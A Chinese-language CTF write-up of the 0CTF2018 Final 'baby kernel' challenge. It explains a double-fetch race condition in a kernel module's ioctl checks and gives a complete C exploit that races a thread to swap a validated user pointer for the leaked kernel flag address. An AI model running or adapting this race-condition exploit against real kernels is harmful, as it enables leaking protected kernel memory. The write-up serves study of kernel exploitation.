首页 > 其他分享 >0CTF2018 Final - baby kernel 学习记录

0CTF2018 Final - baby kernel 学习记录

时间:2022-12-29 12:44:56浏览次数:58  
标签:kernel addr temp int 0CTF2018 flag fd 内核 baby

  • double fetch

    由于内核态和用户态之间的数据访问竞争导致的条件竞争漏洞。

    通常条件下,用户向内核传递数据时,内核先通过 copy_from_user 等函数向内核拷贝数据,但大量复杂数据的时候内核可能只引用其指针,而数据将暂时保存在用户空间,那么此时,这个数据就有被其它恶意线程篡改的风险,造成内核验证通过的数据和实际使用的数据不一样,pwn!!!

    image-20220722145741843

  • 漏洞分析

    如果 a2 为 0x6666 就会打印出 flag 的地址,如果 a2 为 0x1337 就会将我们传入的 flag 和真正的 flag 做比较

    image-20220722152344755

    值得一提的是在 init 中没有将 dmseg 置 1,也就是能查看 printk 输出的内容。

    这里传入的 a3 是个结构体,结构为:

    struct _input 
    {
    	char *flag;
    	size_t len;
    };
    

    经过三层的判断,进入 __chk_range_not_ok 看一下细节:

    image-20220722153348070

    __CFADD__ 的作用是 carry flag of addition,获得两数相加的 CF 位(进位),重点是 a3 < v4,其中 a3 是 (unsigned int)&current_task) + 0x1358),对应结构体中的值就是:task_struct->thread->fpu->state,而 v4 是 a1 和 a2 的和,在第二个判断条件中,对应传入的 flag 的最后一个字节的地址。调试看下这个地址是什么,刚好对应用户空间栈底。

    image-20220722163454764

    那么三条检查就分别对应:

    1.输入的输入指针是否为用户态数据
    2.数据指针内的 flag_str 是否指向用户态
    3.数据指针内 flag_len 是否等于硬编码 flag 的长度
    
  • 漏洞利用

    有 flag 的地址,但因为在内核空间中,直接传的话不能通过验证,所以先传入一个用户空间的合法地址,然后开另一个线程不断竞争修改其为内核空间 flag 的地址。

    exp:

    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <pthread.h>
    #include <string.h>
    
    pthread_t compete_thread;
    void* real_addr;
    char buf[0x20] = "moonflower";
    int competetion_times = 0x1000, status = 1;
    #define LEN 0x1000
    struct 
    {
        char* flag_addr;
        int flag_len;
    }flag = {.flag_addr = buf, .flag_len = 33};
    
    void * competetionThread(void)
    {
        while (status)
        {
            for (int i = 0; i < competetion_times; i++)
                flag.flag_addr = real_addr;
        }
    }
    
    int main()
    {
        int fd, result_fd, addr_fd;
        char* temp, *flag_addr_addr;
    
        fd = open("/dev/baby", O_RDWR);
        ioctl(fd, 0x6666);
        system("dmesg | grep flag > addr.txt");
        temp = (char*) malloc(0x1000);    
        addr_fd = open("./addr.txt", O_RDONLY);
        temp[read(addr_fd, temp, 0x100)] = '\0';
        flag_addr_addr = strstr(temp, "Your flag is at ") + strlen("Your flag is at ");
        real_addr = strtoull(flag_addr_addr, flag_addr_addr + 16, 16);
    
       pthread_create(&compete_thread, NULL, competetionThread, NULL);
        while (status)
        {    for(int i = 0; i < competetion_times; i++)
            {
                flag.flag_addr = buf;
                ioctl(fd, 0x1337, &flag);
            }
            system("dmesg | grep flag > result.txt");
            result_fd = open("./result.txt", O_RDONLY);
            read(result_fd, temp, 0x1000);
            if (strstr(temp, "flag{"))
                status = 0;
        }
        pthread_cancel(compete_thread);
    
        printf("[+] competetion end!");
        system("dmesg | grep flag");
    
        return 0;
    }
    

    image-20220722173428311

  • 参考文献

标签:kernel,addr,temp,int,0CTF2018,flag,fd,内核,baby
From: https://www.cnblogs.com/m00nflower/p/17012226.html

相关文章